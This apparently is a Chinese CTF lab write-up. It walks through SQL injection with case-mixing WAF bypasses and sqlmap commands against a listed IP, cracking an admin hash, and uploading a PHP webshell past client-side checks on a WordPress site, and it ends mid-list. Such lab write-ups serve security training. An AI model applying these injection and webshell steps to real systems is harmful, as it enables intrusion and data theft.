某贺靶场记录
CTF测试记录
一. 企业网站
flag:cef1ec1dfe987c89bb643552ce80e2ff82a46f22
测试网址:http://124.239.169.29:7772/2024777
-
可能的测试点
填写用户反馈:
产品查询
-
测试注入点:
-
在留言注入:
尝试注入
返回:
得到用到的数据库为:
ODBC Microsoft Access Driver
-
在产品列表注入
-
尝试添加and 1=1
,发现会有waf拦截,通过修改and
或被检测字符的大小写可以绕过去
经测试:在kind=1
后面添加and 1=1
可以正常返回页面,在后面加上and 1=2
不可以正常返回页面,得出,此页面为sql注入的注入点。
-
获取表名
尝试拼接url,加入
aNd exisTs(sElect * fRom amdin)
尝试获取表名,发现会报错,随后转入sqlmap扫表名,执行:sqlmap -u http://124.239.169.29:7772/2024777/products.asp?kind=1 --tamper=charencode --tables --time-sec 1
可以改变字符编码,绕过waf,并延长时间防止waf阻断
得到基础表名
-
获取列名
最初思考使用sqlmap直接扫出列名,发现好像有阻断,会一直断开连接,随后转入手动尝试
url拼接:
and eXists(sElect admin fRom admin)
查看有无报错,尝试找到列名手动爆破出的列名有:
admin
,id
,password
-
获取数据
尝试使用联合查询:
unIoN selEct admin,password frOm admin
发现网页会不断报错,然后使用sqlmap弹出shell:sqlmap -u "http://124.239.169.29:7772/2024777/products.asp?kind=1" --tamper=charencode --sql-shell
得到shell后,执行
select * from admin
找到用户名admin
执行
select password from admin
得到密码a48e190fafc257d3
,密码看似是一个md5,md5解密后得到密码
-
得到后台路径,拿到flag
在kali中通过
dirsearch
得到后台路径http://124.239.169.29:7772/admin/admin_login.asp
进入之后登陆密码,正常获取到flag
二. wordpress
flag:45eb8e4de659f29b1ef1ea3ee3b439d5b5951099
-
打开直接404,扫描后台,得到对应的路径,发现有上传点
-
打开页面,发现是直接可以上传,但是只可以上传jpg
-
上传正常的jpg之后,发现没有正常返回路径,且只有前端校验
-
构造webshell
通过postman,重放上传文件的请求,并且修改文件的路径,把jpg修改为webshell.php
,发现可以正常上传,且有正常路径返回
-
打开蚁剑,输入相关数据,连接webshell
-
可以正常进入windows的cmd和文件管理器,找到flag
-
flag为
45eb8e4de659f29b1ef1ea3ee3b439d5b5951099
-
深度防护
打开网站页面可以发现,整个网站为wordpress建站,wp网站有专用的网站漏洞扫描工具
wpscan
,经扫描后可以发现网站存在多出漏洞: